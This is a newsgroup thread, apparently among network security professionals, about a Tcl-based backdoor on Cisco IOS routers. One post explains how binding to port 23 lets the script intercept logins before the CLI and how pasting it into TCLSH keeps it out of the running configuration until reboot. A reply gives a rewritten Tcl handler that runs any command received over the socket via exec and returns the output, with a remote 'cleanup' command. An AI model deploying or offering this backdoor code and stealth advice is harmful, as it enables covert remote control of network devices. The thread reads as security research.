http://www.irmplc.com/index.php/153-Embedded-Systems-Security
--
Posted automagically by a mail2news gateway at muc.de e.V.
Please direct questions, flames, donations, etc. to news-...@muc.de
That's what happens when you sit too long on research and don't have
time to finish & publish...
I haven't checked with recent IOS, but in older releases if you bind
to port 23/tcp, your script is called before the CLI, i.e. you can do
a nice MITM (and thus hide that you are in).
If you don't load it over TFTP but copy/paste into TCLSH you would
only see it in the process list and not in the running configuration.
You can even disconnect and leave it running in the background, surviving
till reboot. But in my tests at some point it would start to consume a
lot of CPU with no reason (except maybe my weak TCL skills :)
Nico.
--
Nicolas FISCHBACH
Senior Manager - Network Engineering/Security - COLT Telecom
e:(ni...@securite.org) w:<http://www.securite.org/nico/>
The echo procedure fails to close the client socket on EOF. This will cause the readable fileevent to trigger repeatedly consuming CPU and never freeing the socket. As the Tcl interpreter on Cisco devices has a relatively small number of sockets (255 total system wide if memory serves) repeated connections to the backdoor would exhaust all available (to Tcl) sockets on the device effectively DoS'ing other Tcl scripts and probes running.
I'd recommend rewriting the echo proc as:
proc echo {sock} {
global var
if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}
# allow a special command to "clean up"
if {$line == "cleanup"} {
set var done
puts $sock "(closing backdoor...)"
return [close $sock]
}
catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}
}
The above version makes sure sockets are closed when they should be. It also takes advantage of the "vwait var" already present in the script (which kicks off the event loop and allows incoming connections to be processed) and provides a method to remotely close the backdoor once it is no longer wanted. I suspect something like this was intended in the original version since the original echo proc calls "global var" despite never doing anything with the variable var afterwards.